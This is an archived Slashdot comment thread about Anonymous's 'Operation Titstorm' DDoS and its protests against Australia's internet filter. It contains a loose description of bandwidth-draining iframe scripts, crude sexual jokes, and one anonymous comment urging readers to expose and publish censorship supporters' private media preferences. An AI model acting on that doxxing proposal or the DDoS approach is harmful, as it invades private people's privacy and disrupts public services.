<article>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#article10_02_15_065232</id>
	<title>Operation Titstorm Hits the Streets</title>
	<author>timothy</author>
	<datestamp>1266259320000</datestamp>
	<htmltext>schliz writes <i>"Hacker group 'Anonymous' is organising international, <a href="http://www.itnews.com.au/News/167295,operation-titstorm-hits-the-streets.aspx">real-life protests</a> of the Australian mandatory internet filter this coming Saturday. Protests will take place in major Australian cities as well as at Australian embassies around the world. The protests are said to be the second stage of 'Operation Titstorm,' which unleashed a <a href="http://yro.slashdot.org/story/10/02/12/1428201/Anonymous-Speaks-About-Australian-Govt-Attacks">prolonged DDoS attack on Australian government websites</a> last week. Organisers of the so-called Project Freeweb said: 'If passed, this legislation will set a disturbing precedent at an international level. The public, not the Government, should have the right to decide what is deemed appropriate for you or your family to be exposed to.'"</i></htmltext>
<tokenext>schliz writes " Hacker group 'Anonymous ' is organising international , real-life protests of the Australian mandatory internet filter this coming Saturday .
Protests will take place in major Australian cities as well as at Australian embassies around the world .
The protests are said to be the second stage of 'Operation Titstorm, ' which unleashed a prolonged DDoS attack on Australian government websites last week .
Organisers of the so-called Project Freeweb said : 'If passed , this legislation will set a disturbing precedent at an international level .
The public , not the Government , should have the right to decide what is deemed appropriate for you or your family to be exposed to .
' "</tokentext>
<sentencetext>schliz writes "Hacker group 'Anonymous' is organising international, real-life protests of the Australian mandatory internet filter this coming Saturday.
Protests will take place in major Australian cities as well as at Australian embassies around the world.
The protests are said to be the second stage of 'Operation Titstorm,' which unleashed a prolonged DDoS attack on Australian government websites last week.
Organisers of the so-called Project Freeweb said: 'If passed, this legislation will set a disturbing precedent at an international level.
The public, not the Government, should have the right to decide what is deemed appropriate for you or your family to be exposed to.
'"</sentencetext>
</article>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612</id>
	<title>Will be interesting, but...</title>
	<author>commlinx</author>
	<datestamp>1266266040000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>4</modscore>
	<htmltext><p>Being an Australian I can tell you most Australians are apathetic to this issue and there likely won't be a huge turn-out. There probably won't be anything but fleeting mass media coverage, and that means politicians will ignore it and side with the "think of the children" majority who have no idea of the underlying implications.</p><p>If there was an upcoming election the issue *might* hit the media if the opposition declared a policy of no filtering and hightlighted all the negative aspects. But given the previous liberal government floated around similar ideas I wouldn't hold my breath on that, I think the position of both the major political parties is unfortunately much the same.</p></htmltext>
<tokenext>Being an Australian I can tell you most Australians are apathetic to this issue and there likely wo n't be a huge turn-out .
There probably wo n't be anything but fleeting mass media coverage , and that means politicians will ignore it and side with the " think of the children " majority who have no idea of the underlying implications.If there was an upcoming election the issue * might * hit the media if the opposition declared a policy of no filtering and hightlighted all the negative aspects .
But given the previous liberal government floated around similar ideas I would n't hold my breath on that , I think the position of both the major political parties is unfortunately much the same .</tokentext>
<sentencetext>Being an Australian I can tell you most Australians are apathetic to this issue and there likely won't be a huge turn-out.
There probably won't be anything but fleeting mass media coverage, and that means politicians will ignore it and side with the "think of the children" majority who have no idea of the underlying implications.If there was an upcoming election the issue *might* hit the media if the opposition declared a policy of no filtering and hightlighted all the negative aspects.
But given the previous liberal government floated around similar ideas I wouldn't hold my breath on that, I think the position of both the major political parties is unfortunately much the same.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150602</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Philip\_the\_physicist</author>
	<datestamp>1266239160000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>To be fair to the<nobr> <wbr></nobr>/b/tards, if their physical age matches the typical mental age, wanting porn of people their own age would be fairly reasonable. They probably find it funny because annoying the mods is funny, and CP would be the best way to do that.</p></htmltext>
<tokenext>To be fair to the /b/tards , if their physical age matches the typical mental age , wanting porn of people their own age would be fairly reasonable .
They probably find it funny because annoying the mods is funny , and CP would be the best way to do that .</tokentext>
<sentencetext>To be fair to the /b/tards, if their physical age matches the typical mental age, wanting porn of people their own age would be fairly reasonable.
They probably find it funny because annoying the mods is funny, and CP would be the best way to do that.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141818</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142842</id>
	<title>Re:Will be interesting, but...</title>
	<author>Sabriel</author>
	<datestamp>1266238980000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>2</modscore>
	<htmltext><p>I could only wish that more so-called "Christian" politicians would actually "trust God about these things", instead of constantly using the name in vain as an excuse to meddle in our personal lives.</p></htmltext>
<tokenext>I could only wish that more so-called " Christian " politicians would actually " trust God about these things " , instead of constantly using the name in vain as an excuse to meddle in our personal lives .</tokentext>
<sentencetext>I could only wish that more so-called "Christian" politicians would actually "trust God about these things", instead of constantly using the name in vain as an excuse to meddle in our personal lives.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141852</id>
	<title>Re:Curiosity</title>
	<author>jack2000</author>
	<datestamp>1266225780000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Actually there are automated "vampire leech" scripts that "rape" bandwidth, you just open a page like that a few times and it automatically loads images  ( usually the beefiest )  from the target websiteand continue to spawn iframes, you get enough of these going and enough people to do it and it gets quite scary.</htmltext>
<tokenext>Actually there are automated " vampire leech " scripts that " rape " bandwidth , you just open a page like that a few times and it automatically loads images ( usually the beefiest ) from the target websiteand continue to spawn iframes , you get enough of these going and enough people to do it and it gets quite scary .</tokentext>
<sentencetext>Actually there are automated "vampire leech" scripts that "rape" bandwidth, you just open a page like that a few times and it automatically loads images  ( usually the beefiest )  from the target websiteand continue to spawn iframes, you get enough of these going and enough people to do it and it gets quite scary.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142418</id>
	<title>Specifically, Outing Republican Homosexuals</title>
	<author>Anonymous</author>
	<datestamp>1266233520000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>The practice of "Outing," that is, publicly revealing the true sexual preference of prominent public officials, is with very good reason very controversial.</p><p>But one reason that the practice persists is that some of the politicians who work the hardest to prevent homosexuals from enjoying the same rights that any straight person would have, are themselves closet homosexuals.  Often very vigorously so.</p><p>This might not make sense to you, but the reason is very basic to the way people work: <strong>We hate the most in others that which we hate the most in ourselves.</strong> </p><p>That suggests an avenue for attack against the Australian censorship laws: track the "media" preferences of those who worked the hardest to bring the censorship about, and then publish it for all to see.  Not just the public officials, but members of the public who lobbied for the laws.</p><p>I probably shouldn't be too specific as to how one would discover what those media preferences actually are, but I have no doubt that my fine friends at Slashdot could figure that out on their own.</p></htmltext>
<tokenext>The practice of " Outing , " that is , publicly revealing the true sexual preference of prominent public officials , is with very good reason very controversial.But one reason that the practice persists is that some of the politicians who work the hardest to prevent homosexuals from enjoying the same rights that any straight person would have , are themselves closet homosexuals .
Often very vigorously so.This might not make sense to you , but the reason is very basic to the way people work : We hate the most in others that which we hate the most in ourselves .
That suggests an avenue for attack against the Australian censorship laws : track the " media " preferences of those who worked the hardest to bring the censorship about , and then publish it for all to see .
Not just the public officials , but members of the public who lobbied for the laws.I probably should n't be too specific as to how one would discover what those media preferences actually are , but I have no doubt that my fine friends at Slashdot could figure that out on their own .</tokentext>
<sentencetext>The practice of "Outing," that is, publicly revealing the true sexual preference of prominent public officials, is with very good reason very controversial.But one reason that the practice persists is that some of the politicians who work the hardest to prevent homosexuals from enjoying the same rights that any straight person would have, are themselves closet homosexuals.
Often very vigorously so.This might not make sense to you, but the reason is very basic to the way people work: We hate the most in others that which we hate the most in ourselves.
That suggests an avenue for attack against the Australian censorship laws: track the "media" preferences of those who worked the hardest to bring the censorship about, and then publish it for all to see.
Not just the public officials, but members of the public who lobbied for the laws.I probably shouldn't be too specific as to how one would discover what those media preferences actually are, but I have no doubt that my fine friends at Slashdot could figure that out on their own.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143968</id>
	<title>Some stuff should be filtered</title>
	<author>Anonymous</author>
	<datestamp>1266249180000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>As far as I can see, plans for Internet filtering in Australia focus on a miniscule number of sites. There are a couple that maybe shouldn't be filtered, but for the most part, the targetted sites host pretty sick stuff. I'm Australian and I have no problem with filtering as proposed thus far, and I have enough faith in our democratic institutions that I'm not too worried that filtering would be abused.</p></htmltext>
<tokenext>As far as I can see , plans for Internet filtering in Australia focus on a miniscule number of sites .
There are a couple that maybe should n't be filtered , but for the most part , the targetted sites host pretty sick stuff .
I 'm Australian and I have no problem with filtering as proposed thus far , and I have enough faith in our democratic institutions that I 'm not too worried that filtering would be abused .</tokentext>
<sentencetext>As far as I can see, plans for Internet filtering in Australia focus on a miniscule number of sites.
There are a couple that maybe shouldn't be filtered, but for the most part, the targetted sites host pretty sick stuff.
I'm Australian and I have no problem with filtering as proposed thus far, and I have enough faith in our democratic institutions that I'm not too worried that filtering would be abused.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141622</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266266100000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p>"Big-tit porn; priority no 1 of your Federal Government."</p><p>"Be safe:  Please refer to the Australian secure masturbation laws."</p><p>If I had some shop skills, I'd be making an "official seal of approval", with the flag and the leading politicians behind this and some nice big government-approved tits on it.</p></htmltext>
<tokenext>" Big-tit porn ; priority no 1 of your Federal Government .
" " Be safe : Please refer to the Australian secure masturbation laws .
" If I had some shop skills , I 'd be making an " official seal of approval " , with the flag and the leading politicians behind this and some nice big government-approved tits on it .</tokentext>
<sentencetext>"Big-tit porn; priority no 1 of your Federal Government.
""Be safe:  Please refer to the Australian secure masturbation laws.
"If I had some shop skills, I'd be making an "official seal of approval", with the flag and the leading politicians behind this and some nice big government-approved tits on it.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144894</id>
	<title>Re:Oh come on now... Don't encourage them.</title>
	<author>Anonymous</author>
	<datestamp>1266253380000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Protests are largely useless here, 200,000 (unsure on the number, but a very significant number) people protested Australia getting involved in the Afghanistan/Iraq wars and we still went.  I doubt 200,000 Australians even know the Rudd Government wants to filter their Internets.</p><p>The <a href="http://www.efa.org.au/category/censorship/mandatory-isp-filtering/" title="efa.org.au" rel="nofollow">EFA</a> [efa.org.au] is working on this issue.  I'd urge all Australian's to sign the <a href="http://www.efa.org.au/petition/" title="efa.org.au" rel="nofollow">petition they will be tabling to the Senate</a> [efa.org.au].</p><p> <a href="http://www.rsf.org/Open-letter-to-Australia-s-Prime.html" title="rsf.org" rel="nofollow">Reporters Without Borders</a> [rsf.org] condemning mandatory internet censorship.</p><p> <a href="http://google-au.blogspot.com/2009/12/our-views-on-mandatory-isp-filtering.html" title="blogspot.com" rel="nofollow">Google.au's views on their plan</a> [blogspot.com].</p><p>Many people and organisations are speaking out against this stupid idea, but the Rudd Government is actively ignoring them.</p></htmltext>
<tokenext>Protests are largely useless here , 200,000 ( unsure on the number , but a very significant number ) people protested Australia getting involved in the Afghanistan/Iraq wars and we still went .
I doubt 200,000 Australians even know the Rudd Government wants to filter their Internets.The EFA [ efa.org.au ] is working on this issue .
I 'd urge all Australian 's to sign the petition they will be tabling to the Senate [ efa.org.au ] .
Reporters Without Borders [ rsf.org ] condemning mandatory internet censorship .
Google.au 's views on their plan [ blogspot.com ] .Many people and organisations are speaking out against this stupid idea , but the Rudd Government is actively ignoring them .</tokentext>
<sentencetext>Protests are largely useless here, 200,000 (unsure on the number, but a very significant number) people protested Australia getting involved in the Afghanistan/Iraq wars and we still went.
I doubt 200,000 Australians even know the Rudd Government wants to filter their Internets.The EFA [efa.org.au] is working on this issue.
I'd urge all Australian's to sign the petition they will be tabling to the Senate [efa.org.au].
Reporters Without Borders [rsf.org] condemning mandatory internet censorship.
Google.au's views on their plan [blogspot.com].Many people and organisations are speaking out against this stupid idea, but the Rudd Government is actively ignoring them.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142128</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141464</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266264300000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Really guys, naming your protest after female anatomy does nothing to help the cause</p></div><p>In fairness, wasn't the protest about censorship of the female anatomy?</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the causeIn fairness , was n't the protest about censorship of the female anatomy ?</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the causeIn fairness, wasn't the protest about censorship of the female anatomy?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143622</id>
	<title>This is bad news...</title>
	<author>Anonymous</author>
	<datestamp>1266247440000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>for the umbrella industry that is.</p><p>I know I'm not getting one for this storm.</p></htmltext>
<tokenext>for the umbrella industry that is.I know I 'm not getting one for this storm .</tokentext>
<sentencetext>for the umbrella industry that is.I know I'm not getting one for this storm.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141542</id>
	<title>IRC</title>
	<author>Emperor Tiberius</author>
	<datestamp>1266265140000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>5</modscore>
	<htmltext>Their ad brings even more negative attention to poor ol' IRC...</htmltext>
<tokenext>Their ad brings even more negative attention to poor ol ' IRC.. .</tokentext>
<sentencetext>Their ad brings even more negative attention to poor ol' IRC...</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147330</id>
	<title>Re:"tit storm"</title>
	<author>Hurricane78</author>
	<datestamp>1266265440000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Pff, moderators lost their humor again. Why are people always so angry in here? Lack of titstorms?<nobr> <wbr></nobr>;)</p></htmltext>
<tokenext>Pff , moderators lost their humor again .
Why are people always so angry in here ?
Lack of titstorms ?
; )</tokentext>
<sentencetext>Pff, moderators lost their humor again.
Why are people always so angry in here?
Lack of titstorms?
;)</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141640</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146204</id>
	<title>Re:"tit storm"</title>
	<author>NotBornYesterday</author>
	<datestamp>1266259920000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>People opposed to the Republican Party</p></div><p>Actually, the Repubs are only half the story.  Dems are just as corrupt and sleazy.</p></div>
	</htmltext>
<tokenext>People opposed to the Republican PartyActually , the Repubs are only half the story .
Dems are just as corrupt and sleazy .</tokentext>
<sentencetext>People opposed to the Republican PartyActually, the Repubs are only half the story.
Dems are just as corrupt and sleazy.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142968</id>
	<title>Re:Curiosity</title>
	<author>SharpFang</author>
	<datestamp>1266240900000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>You lack the first D for a real DDoS.<br>Thing is DDoS uses multiple source hosts without their owners' consent. I don't think 1000 people launching your script on your request counts as real DDoS.</p></htmltext>
<tokenext>You lack the first D for a real DDoS.Thing is DDoS uses multiple source hosts without their owners ' consent .
I do n't think 1000 people launching your script on your request counts as real DDoS .</tokentext>
<sentencetext>You lack the first D for a real DDoS.Thing is DDoS uses multiple source hosts without their owners' consent.
I don't think 1000 people launching your script on your request counts as real DDoS.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141404</id>
	<title>Hurricanes of tits</title>
	<author>macraig</author>
	<datestamp>1266177420000</datestamp>
	<modclass>Troll</modclass>
	<modscore>0</modscore>
	<htmltext><p>Oh, I wish "tit storm" meant what my dirty masculine mind wants to think it means, and that the storm would wind its way through my town in the USA....</p></htmltext>
<tokenext>Oh , I wish " tit storm " meant what my dirty masculine mind wants to think it means , and that the storm would wind its way through my town in the USA... .</tokentext>
<sentencetext>Oh, I wish "tit storm" meant what my dirty masculine mind wants to think it means, and that the storm would wind its way through my town in the USA....</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141802</id>
	<title>Brilliant</title>
	<author>LogicalError</author>
	<datestamp>1266225180000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>So by giving the Australian government more ammunition to pass this piece of legislation, how does this help?</htmltext>
<tokenext>So by giving the Australian government more ammunition to pass this piece of legislation , how does this help ?</tokentext>
<sentencetext>So by giving the Australian government more ammunition to pass this piece of legislation, how does this help?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31152454</id>
	<title>Re:Question</title>
	<author>simplexion</author>
	<datestamp>1266258600000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><a href="http://www.youtube.com/watch?v=6aQ8QCyeYjg" title="youtube.com" rel="nofollow">Australian Politics Explained</a> [youtube.com]</htmltext>
<tokenext>Australian Politics Explained [ youtube.com ]</tokentext>
<sentencetext>Australian Politics Explained [youtube.com]</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147570</id>
	<title>Unethical and sexist</title>
	<author>FoolishOwl</author>
	<datestamp>1266266520000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>This is an example of a political protest done very badly. A distributed denial of service attack is unethical, to begin with, and thus would alienate many potential allies. Adopting an egregiously sexist title for it makes it worse, alienating more. All in all, this reads like a protest calculated to win support for the government's position.</p></htmltext>
<tokenext>This is an example of a political protest done very badly .
A distributed denial of service attack is unethical , to begin with , and thus would alienate many potential allies .
Adopting an egregiously sexist title for it makes it worse , alienating more .
All in all , this reads like a protest calculated to win support for the government 's position .</tokentext>
<sentencetext>This is an example of a political protest done very badly.
A distributed denial of service attack is unethical, to begin with, and thus would alienate many potential allies.
Adopting an egregiously sexist title for it makes it worse, alienating more.
All in all, this reads like a protest calculated to win support for the government's position.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144486</id>
	<title>Re:"tit storm"</title>
	<author>Asic Eng</author>
	<datestamp>1266251820000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext>I wonder if women with A-cups will lose their citizen rights in general, or will they just be banned from having sex? If you are not really an adult woman unless you are well-endowed, then I guess driving, buying alcohol and going to night clubs will be prohibited, too. Of course it wouldn't be a good idea for a man to leave a night club with a small-breasted woman anyway - it would show that he is likely a pedophile, so he'd better be arrested before he damages some child.
<p>
Seriously this is link  <i>small-breasts = pedophilia</i> is so insane I don't understand why the proponents' brains don't implode from the pure stupidity of it.
</p></htmltext>
<tokenext>I wonder if women with A-cups will lose their citizen rights in general , or will they just be banned from having sex ?
If you are not really an adult woman unless you are well-endowed , then I guess driving , buying alcohol and going to night clubs will be prohibited , too .
Of course it would n't be a good idea for a man to leave a night club with a small-breasted woman anyway - it would show that he is likely a pedophile , so he 'd better be arrested before he damages some child .
Seriously this is link small-breasts = pedophilia is so insane I do n't understand why the proponents ' brains do n't implode from the pure stupidity of it .</tokentext>
<sentencetext>I wonder if women with A-cups will lose their citizen rights in general, or will they just be banned from having sex?
If you are not really an adult woman unless you are well-endowed, then I guess driving, buying alcohol and going to night clubs will be prohibited, too.
Of course it wouldn't be a good idea for a man to leave a night club with a small-breasted woman anyway - it would show that he is likely a pedophile, so he'd better be arrested before he damages some child.
Seriously this is link  small-breasts = pedophilia is so insane I don't understand why the proponents' brains don't implode from the pure stupidity of it.
</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141622</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145122</id>
	<title>Re:Question</title>
	<author>Anonymous</author>
	<datestamp>1266254580000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>"Slavery in U.S. was backed by the majority early on" that was mostly because we had just finished a was against Britain and were not quite ready to fight our own again, American colonists were British, and second slaves were not given the right to vote about it.  Another important factor was that portion of the constitution that states blacks count for 3/5 of a person for census purposes only.  Southern states wanted larger populations to get more seats in the house of representatives and other benefits of larger populations without letting the blacks vote for their freedom.</p></htmltext>
<tokenext>" Slavery in U.S. was backed by the majority early on " that was mostly because we had just finished a was against Britain and were not quite ready to fight our own again , American colonists were British , and second slaves were not given the right to vote about it .
Another important factor was that portion of the constitution that states blacks count for 3/5 of a person for census purposes only .
Southern states wanted larger populations to get more seats in the house of representatives and other benefits of larger populations without letting the blacks vote for their freedom .</tokentext>
<sentencetext>"Slavery in U.S. was backed by the majority early on" that was mostly because we had just finished a was against Britain and were not quite ready to fight our own again, American colonists were British, and second slaves were not given the right to vote about it.
Another important factor was that portion of the constitution that states blacks count for 3/5 of a person for census purposes only.
Southern states wanted larger populations to get more seats in the house of representatives and other benefits of larger populations without letting the blacks vote for their freedom.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142234</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145450</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266256080000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>"You have to attack the authority of the censors. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs. They are government so this shouldn't be any real kind of challenge now should it?"</p><p>Except that this is how 99\% of politics is already done and I really, really hate that part of politics.</p><p>People are not \_neccessarily\_ weak just because they oppose you.<br>People are not \_neccessarily\_ partial just because they oppose you.<br>People are not \_neccessarily\_ raving loonies, child rapists or scheming followers of a global satanic movement just because they oppose you.<br>People may be acting in line with what they feel are their jobs, and their job specifications may be quite loose.<br>And nobody deserves to lose for having personal vices in a society where everyone has personal vices.</p><p>They may simply be strong, independent, having taken  a view on their own, but a view of costs and benefits that doesn't rhyme AT ALL with what most people feel is right when they think about it. You can extend that to conclude that they are unsuited to have any form of power if you wish. The role of a protest movement should be to remind people that they have usually valued what they lose even though the politicians try to pitch it as never being valued by anyone, and that what is gained might not be all that much, even though politicians claim it will create Rainbow Land.</p><p>Seriously, this "approach" to politics is the cancer that is killing both trust in politicians, bipartisanship (especially) and my will to live peacefully amongst men.</p></htmltext>
<tokenext>" You have to attack the authority of the censors .
Make them appear weak , useless , and strip their credibility .
Expose them at every corner as being partial , biased , and at the same time abjectly failing to do their jobs .
They are government so this should n't be any real kind of challenge now should it ?
" Except that this is how 99 \ % of politics is already done and I really , really hate that part of politics.People are not \ _neccessarily \ _ weak just because they oppose you.People are not \ _neccessarily \ _ partial just because they oppose you.People are not \ _neccessarily \ _ raving loonies , child rapists or scheming followers of a global satanic movement just because they oppose you.People may be acting in line with what they feel are their jobs , and their job specifications may be quite loose.And nobody deserves to lose for having personal vices in a society where everyone has personal vices.They may simply be strong , independent , having taken a view on their own , but a view of costs and benefits that does n't rhyme AT ALL with what most people feel is right when they think about it .
You can extend that to conclude that they are unsuited to have any form of power if you wish .
The role of a protest movement should be to remind people that they have usually valued what they lose even though the politicians try to pitch it as never being valued by anyone , and that what is gained might not be all that much , even though politicians claim it will create Rainbow Land.Seriously , this " approach " to politics is the cancer that is killing both trust in politicians , bipartisanship ( especially ) and my will to live peacefully amongst men .</tokentext>
<sentencetext>"You have to attack the authority of the censors.
Make them appear weak, useless, and strip their credibility.
Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.
They are government so this shouldn't be any real kind of challenge now should it?
"Except that this is how 99\% of politics is already done and I really, really hate that part of politics.People are not \_neccessarily\_ weak just because they oppose you.People are not \_neccessarily\_ partial just because they oppose you.People are not \_neccessarily\_ raving loonies, child rapists or scheming followers of a global satanic movement just because they oppose you.People may be acting in line with what they feel are their jobs, and their job specifications may be quite loose.And nobody deserves to lose for having personal vices in a society where everyone has personal vices.They may simply be strong, independent, having taken  a view on their own, but a view of costs and benefits that doesn't rhyme AT ALL with what most people feel is right when they think about it.
You can extend that to conclude that they are unsuited to have any form of power if you wish.
The role of a protest movement should be to remind people that they have usually valued what they lose even though the politicians try to pitch it as never being valued by anyone, and that what is gained might not be all that much, even though politicians claim it will create Rainbow Land.Seriously, this "approach" to politics is the cancer that is killing both trust in politicians, bipartisanship (especially) and my will to live peacefully amongst men.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141724</id>
	<title>Re:"tit storm"</title>
	<author>DavidD\_CA</author>
	<datestamp>1266267120000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior.</p></div><p>Hence the operation's name, <i>Titstorm</i>.</p></div>
	</htmltext>
<tokenext>I look forward to seeing pictures of these censorship advocates having sex with their mistresses , getting wasted in public , allegations of bribery , and all other unseemly manner of behavior.Hence the operation 's name , Titstorm .</tokentext>
<sentencetext>I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior.Hence the operation's name, Titstorm.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141644</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266266280000</datestamp>
	<modclass>Informativ</modclass>
	<modscore>4</modscore>
	<htmltext><p>It was named in part to bring to light the stupid rules used by ACMA to classify content, the week 'Operation titstorm' was announced by Anonymous a <a href="http://www.smh.com.au/opinion/society-and-culture/weird-politics-of-small-boobs-and-bodily-fluids-20100129-n278.html" title="smh.com.au" rel="nofollow">story</a> [smh.com.au] came to light about ACMA banning some porn as 'Child Porn' because the legal-age woman had small tits.  The initial idea was to fax/email massive amounts of small breasted pornography to all parts of the Australian government, but most of the focus has been on the DDoS.</p></htmltext>
<tokenext>It was named in part to bring to light the stupid rules used by ACMA to classify content , the week 'Operation titstorm ' was announced by Anonymous a story [ smh.com.au ] came to light about ACMA banning some porn as 'Child Porn ' because the legal-age woman had small tits .
The initial idea was to fax/email massive amounts of small breasted pornography to all parts of the Australian government , but most of the focus has been on the DDoS .</tokentext>
<sentencetext>It was named in part to bring to light the stupid rules used by ACMA to classify content, the week 'Operation titstorm' was announced by Anonymous a story [smh.com.au] came to light about ACMA banning some porn as 'Child Porn' because the legal-age woman had small tits.
The initial idea was to fax/email massive amounts of small breasted pornography to all parts of the Australian government, but most of the focus has been on the DDoS.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142770</id>
	<title>Re:Will be interesting, but...</title>
	<author>l0ungeb0y</author>
	<datestamp>1266238200000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Interesting that most everyone on "western" nations would state that their democracy is a game of "Good Cop vs Bad Cop"<br>Please.. educate us as to why you bother to vote with a ballot rather than a bullet.<br>And no "doing my part" is not a reasonable answer.</p></htmltext>
